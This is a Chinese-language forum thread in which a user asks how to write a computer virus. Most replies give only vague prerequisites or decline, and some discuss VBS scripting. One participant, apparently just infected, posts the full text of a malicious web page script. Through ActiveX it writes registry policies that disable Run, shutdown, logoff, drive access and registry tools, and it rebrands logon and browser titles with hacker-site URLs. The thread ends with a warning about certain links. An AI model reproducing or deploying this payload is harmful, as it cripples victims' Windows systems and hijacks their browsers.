怎樣寫virus

夜风

怎樣寫virus如題
還要具備甚麼條件
甚麼軟件

Dhilip89

为何要写病毒呢？很好玩吗？

如果真的想这样做的话这里有提示：
条件：会编程、精通电脑、精通操作系统
软件：任何可用的程序编译器 、简单的文件编辑程序(Text Editor)

其余的自行解决，本人不会教你也不会帮你。

DeViL-MaTTheW

对丫。。精通电脑是说精通所有的电脑哦。。
如果要所写的病毒能在任何电脑上运作的话，还得学机器语言（学一堆符号，学指令等）。。
有些人特地学，还要学之少三四年的课程。。
在这里是不可能能够教的（想教也不能丫）。。
等你先会写普通的程式再说吧。。。

goodday

抓我就会，写就放弃吧
Dhilip89 , DeViL-MaTTheW
VBS 也写到咯
wscripts，cscripts 嘛
compiler 就是windows 嘛

我很多sample~~~
最后的是msn的vbs

Dhilip89

原帖由 goodday 于 2008-2-27 04:14 AM 发表
抓我就会，写就放弃吧
Dhilip89 , DeViL-MaTTheW
VBS 也写到咯
wscripts，cscripts 嘛
compiler 就是windows 嘛

我很多sample~~~
最后的是msn的vbs

我当然知道脚本语言也可以嘛。。。
wscript/cscript host 只算是 interpreter
我告诉他的是纯programming,不要依赖任何scripting language.

我自己也从朋友的电脑抓过几个vbs病毒，我给作者的评语: 技术烂到不知道要如何形容。。。

[ 本帖最后由 Dhilip89 于 2008-2-27 12:38 PM 编辑 ]

Super-Tomato

vbs 也有各種玩法就看作者自己本身的心態.

goodday

番茄兄说对咯
我通常是用vbs
来maintain server的backup
以不要install 的环境，它是最好的咯

通常写vbs病毒的，都会给我捉到。

goodday

  刚刚中。。。。。
修复中。。。。。  

1. <SCRIPT language=JavaScript>
   
2. document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
   
3. function AddFavLnk(loc, DispName, SiteURL)
   
4. {
   
5. var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
   
6. Shor.TargetPath = SiteURL;
   
7. Shor.Save();
   
8. }
   
9. function f(){
   
10. try
    
11. {
    
12. ActiveX initialization
    
13. a1=document.applets[0];
    
14. a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    
15. a1.createInstance();
    
16. Shl = a1.GetObject();
    
17. a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    
18. a1.createInstance();
    
19. FSO = a1.GetObject();
    
20. a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    
21. a1.createInstance();
    
22. Net = a1.GetObject();
    
23. 
    
24. try
    
25. {
    
26. if (documents .cookies.indexOf("Chg") == -1)
    
27. {
    
28. 
    
29. file://Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://com.6to23.com/");
    
30. var expdate = new Date((new Date()).getTime() + (1));
    
31. documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    
32. 
    
33. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); file:
    
34. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY"); file:
    
35. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"); file:
    
36. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "63000000", "REG_DWORD"); file:
    
37. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD"); file:
    
38. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
    
39. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
    
40. Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "您的计算机已经被[url]http://www.cnhack.org/[/url]优化: ）");
    
41. Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "您的计算机已经被[url]http://www.cnhack.org/[/url]优化: ）");
    
42. file:
    
43. Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★[url]http://com.6to23.com/[/url] & [url]http://www.cnhack.org/[/url]");
    
44. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★[url]http://com.6to23.com/[/url] & [url]http://www.cnhack.org/[/url]");
    
45. file:
    
46. var expdate = new Date((new Date()).getTime() + (1));
    
47. documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    
48. }
    
49. }
    
50. catch(e)
    
51. {}
    
52. }
    
53. catch(e)
    
54. {}
    
55. }
    
56. function init()
    
57. {
    
58. setTimeout("f()", 1000);
    
59. }
    
60. init();</SCRIPT>

复制代码

goodday

遇到有On888.xxx之
类的网址请不要点击